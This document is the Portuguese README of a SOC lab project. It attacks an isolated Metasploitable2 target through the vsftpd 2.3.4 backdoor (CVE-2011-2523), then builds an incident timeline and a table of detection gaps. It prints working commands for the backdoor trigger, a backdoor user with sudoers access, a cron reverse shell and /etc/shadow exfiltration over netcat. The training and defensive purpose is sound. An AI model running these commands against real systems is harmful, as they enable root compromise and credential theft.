
Investigação SOC ponta a ponta: kill chain CVE-2011-2523, correlação de logs de múltiplas fontes, relatório de incidente — MITRE ATT&CK T1190
Executa uma cadeia de ataque completa de quatro fases (Reconhecimento → Exploração → Persistência → Exfiltração) contra o Metasploitable2, coleta evidências em cada fase e produz uma linha do tempo estruturada do incidente e um relatório SOC — demonstrando simultaneamente o pensamento do atacante e do defensor.
Este é o projeto de conclusão. Demonstra a capacidade de:
O exploit utilizado (CVE-2011-2523 — backdoor vsftpd 2.3.4) é historicamente significativo: foi um ataque à cadeia de suprimentos onde um adversário injetou um backdoor no repositório de código-fonte do pacote vsftpd open-source.
╔═══════════════════════════════╗
║ soc-lab (172.23.0.0/24) ║
║ ║
┌─────────────┐ ║ ┌─────────────────────────┐ ║
│ Atacante │ ║ │ Metasploitable2 │ ║
│ Kali Linux │ ║ │ 172.23.0.200 │ ║
│ │ ║ │ │ ║
│ Fase 1 │─────╫─►│ :21 vsftpd 2.3.4 ◄───╫──╫── CVE-2011-2523
│ nmap -A │ ║ │ :22 SSH │ ║ backdoor on :6200
│ │ ║ │ :80 HTTP (DVWA) │ ║
│ Fase 2 │─────╫─►│ :445 Samba │ ║
│ msf exploit│◄────╫──│ :6200 root shell │ ║
│ │ ║ └─────────────────────────┘ ║
│ Fase 3 │─────╫─► useradd sysbackup ║
│ persistência│─────╫─► crontab reverse shell ║
│ │ ║ ║
│ Fase 4 │◄────╫── /etc/shadow via nc :5555 ║
│ exfiltração ╚═══════════════════════════════╝
└──────┬──────┘
│
│ Coleta de evidências:
│ logs/msf_session.log
│ logs/target_auth.log
│ captures/full_attack_chain.pcap (tshark CSV)
▼
┌──────────────────────────────────────────────────┐
│ build_timeline.py │
│ Analisador: log MSF + auth.log + tshark CSV │
│ → mesclar por timestamp → marcar por fase │
│ → JSON da linha do tempo + relatório Markdown │
└──────────────────────────────────────────────────┘
| Ferramenta | Propósito |
|---|---|
| Metasploitable2 | Alvo Linux deliberadamente vulnerável |
| Nmap 7.94 | Fase 1: Enumeração de serviços |
| Metasploit 6.x | Fase 2: Exploit vsftpd 2.3.4 |
| Netcat | Fase 3–4: Persistência + exfiltração |
| tshark | Captura de pacotes em todas as fases |
| Python 3 | build_timeline.py — mesclador de logs de múltiplas fontes |
| Splunk Free / ELK | Detecção SIEM por fase |
cd docker/
# Iniciar Metasploitable2 (rede isolada)
docker compose up -d metasploitable
# Verificar se o alvo está acessível
nmap -p 21,22,80 172.23.0.200
# Iniciar captura de pacotes em segundo plano
sudo tcpdump -i eth0 host 172.23.0.200 \
-w captures/full_attack_chain.pcap &
nmap -sV -O -A \
-p 21,22,80,139,445,3306,5432 \
--script=banner,ftp-anon,http-title \
-oX logs/recon_scan.xml \
172.23.0.200
Descoberta chave: 21/tcp open ftp vsftpd 2.3.4
# Método A: Metasploit
msfconsole -q -x "
use exploit/unix/ftp/vsftpd_234_backdoor;
set RHOSTS 172.23.0.200;
set PAYLOAD cmd/unix/interact;
run" | tee logs/msf_session.log
# Método B: Manual (demonstra o mecanismo)
# Passo 1: Acionar o backdoor enviando nome de usuário com ':)'
printf "USER evil:)\r\nPASS x\r\n" | nc 172.23.0.200 21
# Passo 2: Conectar ao shell root gerado
nc 172.23.0.200 6200
# → id: uid=0(root) gid=0(root)
Por que funciona: Quando o vsftpd 2.3.4 recebe um nome de usuário contendo a substring :), o daemon executa execl("/bin/sh",...) vinculado à porta TCP 6200. Nenhuma autenticação necessária — shell root direto.
# Executar no shell root no alvo:
useradd -m -s /bin/bash sysbackup
echo "sysbackup:$(openssl passwd -1 secr3t)" >> /etc/passwd
echo "sysbackup ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
(crontab -l 2>/dev/null; echo "* * * * * bash -i >& /dev/tcp/172.23.0.1/9999 0>&1") | crontab -
# Receptor (atacante)
nc -lvnp 5555 > samples/exfiltrated_shadow.txt
# Remetente (no alvo)
cat /etc/shadow | nc 172.23.0.1 5555
# Converter PCAP para CSV primeiro
bash ../02-network-recon-detection/src/pcap_to_siem.sh captures/full_attack_chain.pcap
# Construir linha do tempo de todas as fontes
python3 src/build_timeline.py \
--msf-log logs/msf_session.log \
--auth-log logs/target_auth.log \
--pcap-csv captures/full_attack_chain_packets.csv \
--output-json samples/timeline.json \
--output-md docs/incident_report.md \
--pretty
build_timeline.py stderr2026-04-24T16:05:20 [INFO ] Parsed 9 events from MSF log
2026-04-24T16:05:20 [INFO ] Parsed 11 events from auth.log
2026-04-24T16:05:20 [INFO ] Parsed 4 flow-initiation events from PCAP CSV
2026-04-24T16:05:20 [INFO ] Total events (sorted): 24
2026-04-24T16:05:20 [INFO ] Unique IOCs extracted: 4
2026-04-24T16:05:20 [INFO ] Phase RECON : 8 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXPLOIT : 4 event(s)
2026-04-24T16:05:20 [INFO ] Phase PERSIST : 6 event(s)
2026-04-24T16:05:20 [INFO ] Phase EXFIL : 2 event(s)
samples/sample_timeline.json){
"total_events": 24,
"iocs": [
{ "indicator": "172.23.0.1", "phase": "RECON", "occurrence": 8 },
{ "indicator": "172.23.0.1", "phase": "EXPLOIT", "occurrence": 2 },
{ "indicator": "sysbackup", "phase": "PERSIST", "occurrence": 1 }
],
"timeline": [
{ "timestamp": "2026-04-24T14:10:05+00:00", "phase": "RECON", "description": "nmap -sV -O -A", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:22:41+00:00", "phase": "EXPLOIT", "description": "session 1 opened (172.23.0.1 → 172.23.0.200)", "source": "metasploit" },
{ "timestamp": "2026-04-24T14:28:07+00:00", "phase": "PERSIST", "description": "useradd: new user: name=sysbackup", "source": "auth_log" },
{ "timestamp": "2026-04-24T14:35:52+00:00", "phase": "EXFIL", "description": "flow 172.23.0.200 → 172.23.0.1:5555", "source": "pcap" }
]
}
Esta é a saída analítica mais importante — o que teria sido perdido sem a detecção adequada.
| Fase | Evidência Bruta de Log | Capturado por Regra SIEM | Perdido Sem Cobertura |
|---|---|---|---|
| RECON | PCAP: inundação SYN para 24 portas | Regra de varredura de portas (>20 portas/10s) ✓ | Escaneamento lento (-T1): evade completamente o limite de taxa |
| EXPLOIT | PCAP: nova conexão para :6200 · Nenhuma entrada em auth.log | Regra de anomalia na porta :6200 ✓ | Se atacante usasse exploit HTTP na :80 — nenhuma anomalia de porta |
| PERSIST | auth.log: new user: name=sysbackup | Alerta de criação de novo usuário ✓ | Edição direta de /etc/passwd: zero log sem auditd |
| EXFIL | PCAP: 4 KB de saída na :5555 | Regra de porta não padrão + tamanho ✓ | Exfiltração via DNS (registros TXT): ignora regras de volume completamente |
Descoberta crítica: O exploit vsftpd 2.3.4 não deixa nenhuma entrada em auth.log porque ele contorna o subsistema de login. A única evidência de log é a subsequente conexão TCP à porta 6200 — invisível sem telemetria de rede. Logs de endpoint sozinhos não conseguem detectar essa classe de ataque.
| Limitação | Impacto | Mitigação |
|---|---|---|
| vsftpd 2.3.4 é uma vulnerabilidade de 2011 | Não representativa de exploits modernos | Adicionar EternalBlue (MS17-010) como cenário de exploit alternativo |
build_timeline.py usa classificação por palavras-chave | Classifica erroneamente alguns eventos | Treinar um classificador NLP leve em dados de log rotulados |
| Sem detecção de endpoint (EDR) | Persistência em nível de arquivo (authorized_keys) não capturada | Adicionar Wazuh ou Elastic Agent no alvo |
| Execução manual da cadeia de ataque | Não reproduzível sem intervenção interativa | Automatizar Fases 2–4 com scripts de recurso do Metasploit |
| Referência | ID / Link |
|---|---|
| CVE-2011-2523 — backdoor vsftpd 2.3.4 | https://nvd.nist.gov/vuln/detail/CVE-2011-2523 |
| MITRE ATT&CK — Explorar Aplicação Exposta Publicamente | T1190 |
| MITRE ATT&CK — Criar Conta: Conta Local | T1136.001 |
| MITRE ATT&CK — Tarefa/Job Agendado: Cron | T1053.003 |
| MITRE ATT&CK — Exfiltração Através do Canal C2 | T1041 |
| MITRE ATT&CK — Contas Válidas | T1078 |
04-soc-investigation/
├── src/
│ ├── build_timeline.py # Mesclador de logs de múltiplas fontes + marcador de fase
│ └── run_attack_chain.sh # Cadeia de ataque passo a passo com comandos exatos
├── configs/
│ └── splunk_detection_rules.spl # Consultas SPL por fase (RECON/EXPLOIT/PERSIST/EXFIL)
├── samples/
│ └── sample_timeline.json # Exemplo de linha do tempo do incidente JSON
├── docker/
│ └── docker-compose.yml # Alvo isolado Metasploitable2
├── docs/
│ └── incident_report.md # Relatório SOC gerado (build_timeline.py --output-md)
└── screenshots/